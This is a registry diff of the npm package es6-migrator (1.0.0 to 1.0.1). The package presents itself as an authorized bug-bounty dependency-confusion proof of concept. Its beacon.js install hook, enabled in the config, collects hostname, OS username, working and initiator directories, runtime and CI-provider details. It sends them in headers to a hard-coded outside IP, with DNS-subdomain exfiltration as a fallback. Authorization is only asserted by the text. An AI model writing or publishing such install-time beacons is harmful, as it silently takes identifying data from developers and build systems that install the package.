es6-migrator 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/BUG-BOUNTY-NOTICE.txt +8 -6
- package/DISCLOSURE +19 -13
- package/README.md +2 -2
- package/beacon-config.json +8 -4
- package/beacon.js +146 -50
- package/package.json +3 -3
package/BUG-BOUNTY-NOTICE.txt
CHANGED
|
@@ -2,19 +2,21 @@ AUTHORIZED BUG BOUNTY SECURITY TEST
|
|
|
2
2
|
|
|
3
3
|
Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
|
|
4
4
|
Researcher: Izzet (HackerOne handle: izzet)
|
|
5
|
-
Published test package: es6-migrator@1.0.
|
|
5
|
+
Published test package: es6-migrator@1.0.1
|
|
6
6
|
|
|
7
7
|
This package is a controlled dependency-confusion proof of concept prepared
|
|
8
8
|
for authorized bug bounty security research. It is not a production library.
|
|
9
9
|
|
|
10
10
|
When explicitly enabled, its install hook sends a bounded callback containing
|
|
11
11
|
only test correlation, package/version, a random per-execution event ID, bounded
|
|
12
|
-
base32 hostname, OS account username,
|
|
12
|
+
base32 hostname, OS account username, package working directory and npm initiator
|
|
13
|
+
directory, a stable context ID, compact runtime code, CI-provider enum, and the
|
|
13
14
|
source address observed by the server. HTTP and conditional DNS fallback carry
|
|
14
|
-
the same attribution values. It
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
15
|
+
the same attribution values. It reads only `INIT_CWD`, package-manager identity,
|
|
16
|
+
and the presence (not values) of fixed CI-provider variables. It does not list
|
|
17
|
+
directories, enumerate installed packages, inspect arbitrary environment values,
|
|
18
|
+
local network configuration, project files, credentials, tokens, cloud metadata,
|
|
19
|
+
or source code, and it does not create persistence or execute child commands.
|
|
18
20
|
|
|
19
21
|
Public registry registration was separately authorized for this exact package,
|
|
20
22
|
version, bounded callback behavior, and time-bounded observation window. This
|
package/DISCLOSURE
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
DUAL-USE SECURITY RESEARCH DISCLOSURE
|
|
2
2
|
|
|
3
|
-
Package: es6-migrator@1.0.
|
|
3
|
+
Package: es6-migrator@1.0.1
|
|
4
4
|
Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
|
|
5
5
|
Researcher: Izzet (HackerOne handle: izzet)
|
|
6
6
|
|
|
@@ -10,21 +10,27 @@ authorized bug bounty security research. It is not a production library.
|
|
|
10
10
|
When explicitly enabled, its install lifecycle performs one bounded HTTP(S)
|
|
11
11
|
GET to a unique researcher-controlled callback URL. The request carries only a
|
|
12
12
|
test correlation path, a random per-execution event ID, bounded base32 hostname,
|
|
13
|
-
operating-system username,
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
13
|
+
operating-system username, package-working-directory and npm initiator-directory
|
|
14
|
+
values, a ten-character stable context ID, a compact runtime code, a fixed
|
|
15
|
+
CI-provider enum, and the research identification User-Agent. The callback
|
|
16
|
+
server observes the normal source IP and UTC request time; the package does not
|
|
17
|
+
enumerate local network addresses.
|
|
17
18
|
|
|
18
19
|
If the HTTP request fails, times out, or returns a non-success response, the
|
|
19
|
-
package may perform
|
|
20
|
-
one research binding: one each for
|
|
21
|
-
|
|
22
|
-
and
|
|
20
|
+
package may perform seven DNS lookups to seven configured probe subdomains under
|
|
21
|
+
one research binding: one each for hostname, username, package working directory,
|
|
22
|
+
npm initiator directory, stable context ID, compact runtime code, and CI-provider
|
|
23
|
+
enum. All seven carry the same event ID and the exact same bounded values and
|
|
24
|
+
truncation flags as HTTP.
|
|
23
25
|
|
|
24
|
-
The package reads
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
26
|
+
The package reads the OS hostname, OS account username, current working directory,
|
|
27
|
+
`INIT_CWD`, platform/architecture/Node version, and package-manager name/version.
|
|
28
|
+
CI classification tests only whether a fixed set of provider variables is present
|
|
29
|
+
and never transmits their values. A truncated SHA-256-derived context ID permits
|
|
30
|
+
repeat/cross-package clustering without sending its full input. The package does
|
|
31
|
+
not list directories, enumerate installed packages, inspect arbitrary environment
|
|
32
|
+
values, local network configuration, project files, credentials, tokens, source
|
|
33
|
+
code, or cloud metadata. It does not execute child commands, create persistence,
|
|
28
34
|
alter build artifacts, or provide remote command execution.
|
|
29
35
|
|
|
30
36
|
This live-test artifact was separately authorized and reviewed for this exact
|
package/README.md
CHANGED
|
@@ -8,6 +8,6 @@ The manifest declares `contentPolicy.class` as `dual-use`, and the package inclu
|
|
|
8
8
|
|
|
9
9
|
This live-test copy was separately reviewed from the locked preparation artifact. Publication does not authorize reuse, redistribution, or execution outside the approved test.
|
|
10
10
|
|
|
11
|
-
The install hook contains no command execution, persistence, directory listing, file inspection, credential access, or secret collection. When explicitly enabled, it performs one bounded HTTP(S) GET to the configured unique callback URL. Its attribution headers carry a random per-execution event ID
|
|
11
|
+
The install hook contains no command execution, persistence, directory listing, package enumeration, file inspection, credential access, or secret collection. When explicitly enabled, it performs one bounded HTTP(S) GET to the configured unique callback URL. Its attribution headers carry a random per-execution event ID; bounded base32 hostname, OS account username, package working directory, and npm initiator-directory values; a ten-character stable context ID; a compact OS/architecture/Node/package-manager runtime code; and a fixed CI-provider enum. The server observes the normal source IP.
|
|
12
12
|
|
|
13
|
-
If
|
|
13
|
+
If seven static OOB probe domains are configured and HTTP fails, the hook performs one DNS lookup per field. Each field uses a distinct probe subdomain under one research binding; all seven carry the same event ID and the same bounded value as HTTP. The hook reads `INIT_CWD` and parses only the package-manager name/version from `npm_config_user_agent`; CI classification tests only whether a fixed list of provider variables is present and never transmits their values. It does not list or read directories, enumerate packages, inspect arbitrary environment values, local network configuration, credentials, tokens, project files, source code, or cloud metadata.
|
package/beacon-config.json
CHANGED
|
@@ -1,9 +1,13 @@
|
|
|
1
1
|
{
|
|
2
|
-
"callback_url": "http://45.76.249.245/beacon/
|
|
2
|
+
"callback_url": "http://45.76.249.245/beacon/QHHXFUL-YIB6g0kLLjMIDF_DFSRl2FdD/es6-migrator/1.0.1",
|
|
3
3
|
"dns_fallback_domains": {
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
"
|
|
4
|
+
"c": "bou8mh09j383tdvv4pjde09tw2jzo8162.oob.asm5.net",
|
|
5
|
+
"h": "bou8mh09j383tdvv4pjdfzr1mmk7vglqp.oob.asm5.net",
|
|
6
|
+
"i": "bou8mh09j383tdvv4pjd3i1rzse2yeo7b.oob.asm5.net",
|
|
7
|
+
"k": "bou8mh09j383tdvv4pjdv7xw11qdboe1j.oob.asm5.net",
|
|
8
|
+
"p": "bou8mh09j383tdvv4pjdkqly9oz0hn7z6.oob.asm5.net",
|
|
9
|
+
"r": "bou8mh09j383tdvv4pjdhqutndti1kxk4.oob.asm5.net",
|
|
10
|
+
"u": "bou8mh09j383tdvv4pjdlm6z6fgqoct0z.oob.asm5.net"
|
|
7
11
|
},
|
|
8
12
|
"enabled": true,
|
|
9
13
|
"timeout_ms": 1500
|
package/beacon.js
CHANGED
|
@@ -7,6 +7,17 @@ const dns = require("node:dns");
|
|
|
7
7
|
const os = require("node:os");
|
|
8
8
|
const config = require("./beacon-config.json");
|
|
9
9
|
|
|
10
|
+
const FIELD_KINDS = ["h", "u", "p", "i", "k", "r", "c"];
|
|
11
|
+
const DNS_METHODS = {
|
|
12
|
+
h: "resolve4",
|
|
13
|
+
u: "resolve6",
|
|
14
|
+
p: "resolveTxt",
|
|
15
|
+
i: "resolveMx",
|
|
16
|
+
k: "resolveCname",
|
|
17
|
+
r: "resolveNs",
|
|
18
|
+
c: "resolveSoa",
|
|
19
|
+
};
|
|
20
|
+
|
|
10
21
|
let fallbackStarted = false;
|
|
11
22
|
const eventRandomBytes = crypto.randomBytes(4);
|
|
12
23
|
const eventId = base32Encode(eventRandomBytes).slice(0, 7);
|
|
@@ -68,7 +79,7 @@ function buildIdentityDnsLookupName(
|
|
|
68
79
|
if (
|
|
69
80
|
!bindingLabel ||
|
|
70
81
|
labels.length < 1 ||
|
|
71
|
-
!
|
|
82
|
+
!FIELD_KINDS.includes(kind) ||
|
|
72
83
|
!/^[a-z2-7]{7}$/.test(correlatedEventId) ||
|
|
73
84
|
!fragment ||
|
|
74
85
|
!["f", "t"].includes(fragment.flag) ||
|
|
@@ -94,18 +105,19 @@ function buildIdentityDnsLookupName(
|
|
|
94
105
|
function configuredDnsDomains() {
|
|
95
106
|
const configured = config.dns_fallback_domains;
|
|
96
107
|
if (configured && typeof configured === "object") {
|
|
97
|
-
return
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
108
|
+
return Object.fromEntries(
|
|
109
|
+
FIELD_KINDS.map((kind) => [
|
|
110
|
+
kind,
|
|
111
|
+
String(configured[kind] || "").toLowerCase().replace(/\.$/, ""),
|
|
112
|
+
]),
|
|
113
|
+
);
|
|
102
114
|
}
|
|
103
|
-
// Backward compatibility for local fixtures
|
|
104
|
-
//
|
|
115
|
+
// Backward compatibility for disabled/local fixtures. Prepared publication
|
|
116
|
+
// artifacts use one freshly minted domain per field.
|
|
105
117
|
const legacy = String(config.dns_fallback_domain || "")
|
|
106
118
|
.toLowerCase()
|
|
107
119
|
.replace(/\.$/, "");
|
|
108
|
-
return
|
|
120
|
+
return Object.fromEntries(FIELD_KINDS.map((kind) => [kind, legacy]));
|
|
109
121
|
}
|
|
110
122
|
|
|
111
123
|
function resolveDnsFallback(attribution) {
|
|
@@ -128,35 +140,19 @@ function resolveDnsFallback(attribution) {
|
|
|
128
140
|
};
|
|
129
141
|
if (!Object.values(domains).every(validDomain)) return;
|
|
130
142
|
|
|
131
|
-
const
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
[
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
domains.u,
|
|
145
|
-
"u",
|
|
146
|
-
attribution.usernameFragment,
|
|
147
|
-
eventId,
|
|
148
|
-
),
|
|
149
|
-
],
|
|
150
|
-
[
|
|
151
|
-
"resolveTxt",
|
|
152
|
-
buildIdentityDnsLookupName(
|
|
153
|
-
domains.p,
|
|
154
|
-
"p",
|
|
155
|
-
attribution.currentPathFragment,
|
|
156
|
-
eventId,
|
|
157
|
-
),
|
|
158
|
-
],
|
|
159
|
-
];
|
|
143
|
+
const fragments = {
|
|
144
|
+
h: attribution.hostnameFragment,
|
|
145
|
+
u: attribution.usernameFragment,
|
|
146
|
+
p: attribution.currentPathFragment,
|
|
147
|
+
i: attribution.initCwdFragment,
|
|
148
|
+
k: attribution.contextIdFragment,
|
|
149
|
+
r: attribution.runtimeFragment,
|
|
150
|
+
c: attribution.ciProviderFragment,
|
|
151
|
+
};
|
|
152
|
+
const lookups = FIELD_KINDS.map((kind) => [
|
|
153
|
+
DNS_METHODS[kind],
|
|
154
|
+
buildIdentityDnsLookupName(domains[kind], kind, fragments[kind], eventId),
|
|
155
|
+
]);
|
|
160
156
|
if (lookups.some(([, lookupName]) => !lookupName)) return;
|
|
161
157
|
const resolver = new dns.Resolver();
|
|
162
158
|
// This key is used only by the loopback integration test. The package
|
|
@@ -168,14 +164,81 @@ function resolveDnsFallback(attribution) {
|
|
|
168
164
|
return;
|
|
169
165
|
}
|
|
170
166
|
}
|
|
171
|
-
// Use a different record type per field
|
|
172
|
-
//
|
|
173
|
-
// so only one reaches the authoritative interaction log.
|
|
167
|
+
// Use a different record type per field to reduce recursive-resolver cache
|
|
168
|
+
// collapse. Every field also has a unique ASM5 hit ID.
|
|
174
169
|
for (const [method, lookupName] of lookups) {
|
|
175
170
|
resolver[method](lookupName, () => {});
|
|
176
171
|
}
|
|
177
172
|
}
|
|
178
173
|
|
|
174
|
+
function detectCiProvider(environment = process.env) {
|
|
175
|
+
const present = (name) => Object.prototype.hasOwnProperty.call(environment, name);
|
|
176
|
+
if (present("GITHUB_ACTIONS")) return "g";
|
|
177
|
+
if (present("GITLAB_CI")) return "l";
|
|
178
|
+
if (present("JENKINS_URL") || present("JENKINS_HOME")) return "j";
|
|
179
|
+
if (present("CIRCLECI")) return "c";
|
|
180
|
+
if (present("BUILDKITE")) return "b";
|
|
181
|
+
if (present("TF_BUILD")) return "a";
|
|
182
|
+
if (present("TEAMCITY_VERSION")) return "m";
|
|
183
|
+
if (present("TRAVIS")) return "t";
|
|
184
|
+
if (present("BITBUCKET_BUILD_NUMBER")) return "q";
|
|
185
|
+
if (present("CODEBUILD_BUILD_ID")) return "w";
|
|
186
|
+
if (present("CI")) return "i";
|
|
187
|
+
return "n";
|
|
188
|
+
}
|
|
189
|
+
|
|
190
|
+
function packageManagerCode(userAgent = process.env.npm_config_user_agent) {
|
|
191
|
+
const match = String(userAgent || "")
|
|
192
|
+
.toLowerCase()
|
|
193
|
+
.match(/^(npm|pnpm|yarn|bun)\/([0-9]{1,3})/);
|
|
194
|
+
if (!match) return { code: "o", major: 0 };
|
|
195
|
+
const codes = { npm: "n", pnpm: "p", yarn: "y", bun: "b" };
|
|
196
|
+
return {
|
|
197
|
+
code: codes[match[1]] || "o",
|
|
198
|
+
major: Math.min(Number(match[2]) || 0, 999),
|
|
199
|
+
};
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
function compactRuntimeSignature() {
|
|
203
|
+
const platformCodes = {
|
|
204
|
+
linux: "l",
|
|
205
|
+
darwin: "d",
|
|
206
|
+
win32: "w",
|
|
207
|
+
aix: "a",
|
|
208
|
+
freebsd: "f",
|
|
209
|
+
openbsd: "o",
|
|
210
|
+
sunos: "s",
|
|
211
|
+
};
|
|
212
|
+
const archCodes = {
|
|
213
|
+
x64: "x",
|
|
214
|
+
arm64: "a",
|
|
215
|
+
ia32: "3",
|
|
216
|
+
arm: "r",
|
|
217
|
+
ppc64: "p",
|
|
218
|
+
s390x: "s",
|
|
219
|
+
};
|
|
220
|
+
const nodeMajor = Math.min(
|
|
221
|
+
Number(String(process.versions.node || "0").split(".", 1)[0]) || 0,
|
|
222
|
+
999,
|
|
223
|
+
);
|
|
224
|
+
const manager = packageManagerCode();
|
|
225
|
+
const platform = platformCodes[process.platform] || "x";
|
|
226
|
+
const arch = archCodes[process.arch] || "o";
|
|
227
|
+
return `${platform}${arch}${nodeMajor}${manager.code}${manager.major}`;
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
function stableContextId(hostname, username, initCwd) {
|
|
231
|
+
const input = [
|
|
232
|
+
"authorized-bug-bounty-depconf-poc-v2",
|
|
233
|
+
String(hostname || ""),
|
|
234
|
+
String(username || ""),
|
|
235
|
+
String(initCwd || ""),
|
|
236
|
+
String(process.platform || ""),
|
|
237
|
+
String(process.arch || ""),
|
|
238
|
+
].join("\u0000");
|
|
239
|
+
return base32Encode(crypto.createHash("sha256").update(input).digest()).slice(0, 10);
|
|
240
|
+
}
|
|
241
|
+
|
|
179
242
|
if (config.enabled === true) {
|
|
180
243
|
let target;
|
|
181
244
|
try {
|
|
@@ -187,7 +250,13 @@ if (config.enabled === true) {
|
|
|
187
250
|
if (target && (target.protocol === "http:" || target.protocol === "https:")) {
|
|
188
251
|
const transport = target.protocol === "https:" ? https : http;
|
|
189
252
|
const timeout = Math.max(250, Math.min(Number(config.timeout_ms) || 1500, 5000));
|
|
190
|
-
const userAgent = "authorized-bug-bounty-depconf-poc/
|
|
253
|
+
const userAgent = "authorized-bug-bounty-depconf-poc/2 h1:izzet";
|
|
254
|
+
let hostname = "";
|
|
255
|
+
try {
|
|
256
|
+
hostname = os.hostname();
|
|
257
|
+
} catch {
|
|
258
|
+
hostname = "";
|
|
259
|
+
}
|
|
191
260
|
let username = "";
|
|
192
261
|
try {
|
|
193
262
|
username = os.userInfo().username;
|
|
@@ -200,21 +269,40 @@ if (config.enabled === true) {
|
|
|
200
269
|
} catch {
|
|
201
270
|
currentPath = "";
|
|
202
271
|
}
|
|
272
|
+
const initCwd = String(process.env.INIT_CWD || currentPath);
|
|
273
|
+
const contextId = stableContextId(hostname, username, initCwd);
|
|
274
|
+
const runtime = compactRuntimeSignature();
|
|
275
|
+
const ciProvider = detectCiProvider();
|
|
203
276
|
const dnsDomains = Object.values(configuredDnsDomains()).filter(Boolean);
|
|
204
277
|
const identityBudget = dnsDomains.length
|
|
205
278
|
? Math.min(...dnsDomains.map(identityBudgetForDomain))
|
|
206
279
|
: 52;
|
|
207
|
-
const hostnameFragment = encodeIdentityFragment(
|
|
280
|
+
const hostnameFragment = encodeIdentityFragment(hostname, identityBudget);
|
|
208
281
|
const usernameFragment = encodeIdentityFragment(username, identityBudget);
|
|
209
282
|
const currentPathFragment = encodeIdentityFragment(currentPath, identityBudget);
|
|
210
|
-
|
|
211
|
-
const
|
|
212
|
-
const
|
|
213
|
-
const
|
|
283
|
+
const initCwdFragment = encodeIdentityFragment(initCwd, identityBudget);
|
|
284
|
+
const contextIdFragment = encodeIdentityFragment(contextId, identityBudget);
|
|
285
|
+
const runtimeFragment = encodeIdentityFragment(runtime, identityBudget);
|
|
286
|
+
const ciProviderFragment = encodeIdentityFragment(ciProvider, identityBudget);
|
|
287
|
+
const fragments = [
|
|
288
|
+
hostnameFragment,
|
|
289
|
+
usernameFragment,
|
|
290
|
+
currentPathFragment,
|
|
291
|
+
initCwdFragment,
|
|
292
|
+
contextIdFragment,
|
|
293
|
+
runtimeFragment,
|
|
294
|
+
ciProviderFragment,
|
|
295
|
+
];
|
|
296
|
+
if (fragments.some((fragment) => !fragment)) return;
|
|
297
|
+
const asHeader = (fragment) => `${fragment.flag}${fragment.encoded}`;
|
|
214
298
|
const attribution = {
|
|
215
299
|
hostnameFragment,
|
|
216
300
|
usernameFragment,
|
|
217
301
|
currentPathFragment,
|
|
302
|
+
initCwdFragment,
|
|
303
|
+
contextIdFragment,
|
|
304
|
+
runtimeFragment,
|
|
305
|
+
ciProviderFragment,
|
|
218
306
|
};
|
|
219
307
|
|
|
220
308
|
const request = transport.request(
|
|
@@ -225,9 +313,13 @@ if (config.enabled === true) {
|
|
|
225
313
|
"Cache-Control": "no-store",
|
|
226
314
|
"User-Agent": userAgent,
|
|
227
315
|
"X-Bug-Bounty-Event": eventId,
|
|
228
|
-
"X-Bug-Bounty-Host":
|
|
229
|
-
"X-Bug-Bounty-User":
|
|
230
|
-
"X-Bug-Bounty-Path":
|
|
316
|
+
"X-Bug-Bounty-Host": asHeader(hostnameFragment),
|
|
317
|
+
"X-Bug-Bounty-User": asHeader(usernameFragment),
|
|
318
|
+
"X-Bug-Bounty-Path": asHeader(currentPathFragment),
|
|
319
|
+
"X-Bug-Bounty-Initiator": asHeader(initCwdFragment),
|
|
320
|
+
"X-Bug-Bounty-Context": asHeader(contextIdFragment),
|
|
321
|
+
"X-Bug-Bounty-Runtime": asHeader(runtimeFragment),
|
|
322
|
+
"X-Bug-Bounty-CI": asHeader(ciProviderFragment),
|
|
231
323
|
},
|
|
232
324
|
},
|
|
233
325
|
(response) => {
|
|
@@ -250,7 +342,11 @@ if (config.enabled === true) {
|
|
|
250
342
|
module.exports = {
|
|
251
343
|
base32Encode,
|
|
252
344
|
buildIdentityDnsLookupName,
|
|
345
|
+
compactRuntimeSignature,
|
|
253
346
|
configuredDnsDomains,
|
|
347
|
+
detectCiProvider,
|
|
254
348
|
encodeIdentityFragment,
|
|
255
349
|
identityBudgetForDomain,
|
|
350
|
+
packageManagerCode,
|
|
351
|
+
stableContextId,
|
|
256
352
|
};
|
package/package.json
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "AUTHORIZED BUG BOUNTY TEST - controlled dependency-confusion proof by HackerOne researcher izzet for finding 8300347c-b5e1-4718-a74a-9e1f27d828dc",
|
|
3
2
|
"contentPolicy": {
|
|
4
3
|
"class": "dual-use"
|
|
5
4
|
},
|
|
5
|
+
"description": "AUTHORIZED BUG BOUNTY TEST - controlled dependency-confusion proof by HackerOne researcher izzet for finding 8300347c-b5e1-4718-a74a-9e1f27d828dc",
|
|
6
6
|
"files": [
|
|
7
7
|
"beacon.js",
|
|
8
8
|
"beacon-config.json",
|
|
@@ -38,7 +38,7 @@
|
|
|
38
38
|
"platform": "HackerOne"
|
|
39
39
|
},
|
|
40
40
|
"type": "authorized-bug-bounty-poc",
|
|
41
|
-
"version": "1.0.
|
|
41
|
+
"version": "1.0.1"
|
|
42
42
|
},
|
|
43
|
-
"version": "1.0.
|
|
43
|
+
"version": "1.0.1"
|
|
44
44
|
}
|